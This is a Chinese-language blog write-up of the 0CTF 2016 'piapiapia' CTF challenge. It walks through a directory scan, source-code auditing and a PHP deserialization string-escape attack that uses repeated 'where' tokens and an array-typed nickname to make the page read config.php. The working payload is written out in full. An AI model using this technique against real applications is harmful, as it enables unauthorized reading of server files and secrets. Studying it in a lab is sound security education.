0CTF 2016-piapiapia
0CTF 2016-piapiapia
代码审计还有PHP反序列化一直是我的硬伤,所以想借助这个题目来理一理思路。
首先,打开网址,如图:

先尝试了万能密码,没有效果。
sql注入,手工和sqlmap跑半天没有效果,放弃。
没有什么可以做的,就扫一扫目录。
python dirsearch.py -u http://7580b1d4-c607-4a67-a008-092706787c67.node4.buuoj.cn:81/ -e * -s 1 -x 400,403,404,500,503,429 -o C:\Users\Sakura\Desktop\1.txt
buu扫目录一直容易崩溃,所以要降低dirsearch的扫描速度。
最终扫描出来了 register.php 和www.zip。
进入 xxx/register.php :
注册账号并登录:

考虑了文件上传,上传多次,没有效果,放弃!
更新文件后,进入这个界面:

就此停下,不知道如何进行下一步,决定从源码入手。
访问 http://7580b1d4-c607-4a67-a008-092706787c67.node4.buuoj.cn:81/www.zip
获取到了网站源码。
进行苦逼的代码审计:
由上方可知逻辑结构为:register->login->update->profile
登录和注册可以先不看,由 update->profile

首先查看config.php,看到了flag但是为空,没有显示,这里要注意下config.php,下面可能会用到。
继续浏览代码,寻找敏感点:
在profile.php中发现了两个关键点,unserialize(),file_get_contents()

猜测应该考察PHP反序列化,$profile[‘photo’] 是重点,考虑对其传值,实现flag的读取。
进一步审计:

在update.php中发现了这样一个函数:

$profile[‘photo’] = ‘upload/‘ . md5($file[‘name’]);
发现该值被hash加密了,根本无法对其进行控制。
既然profile[‘photo’] 无法控制,我们是否可以考虑传入其它值来达到目的。看profile[‘photo’]的上一个参数,profile[‘nickname’],是否可以通过profile[‘nickname’]传值给profile[‘photo’]呢.
继续看unserialize($profile)



由此可知,对像user中show_profile()的返回值被反序列化,查看show_porfile函数:

$username首先会被过滤一次,跟进filter()函数:

这里的意思是\会被|替代,一些敏感的sql单词会被hacker代替(上文的select,insert,update,delete,where)
过滤后,$username会被插入到select语句中:

到此,基本明白了网站的运行逻辑。
接下来继续从反序列化入手:


接上面的思路,由于profile=[‘photo’] 我们无法控制,而fileter过滤,如果存在where则会变为hacker,增加了一个字符,所以考察的知识点应该为字符串增加的PHP反序列化逃逸。这里会对$profile进行序列化。

修改phpto的值

要注意,最后还要通过update.php中还存在一个限制:

nickname的长度不可以>10,那该怎么绕过它呢?
这里就要用到数组了
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null
所以nickname传入数组就可以绕过。
如何将nickname变为数组呢?让我们来看一个例子:

a:4:{s:5:"phone";s:11:"15885248522";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}s:39:"upload/9f6e6800cfae7749eb6c486619254b9c";}

要让
";}s:5:"photo";s:10:"config.php";}
逃逸出来

34个字符,所以应该有34个where来逃逸34个字符。
6*34=204
a:4:{s:5:"phone";s:11:"15885248522";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:39:"upload/9f6e6800cfae7749eb6c486619254b9c";}
所以payload就为:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
在burp中将nickname类型改为数组,并传入payload


查看源代码,可发现base64加密

解密即可得到flag

版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!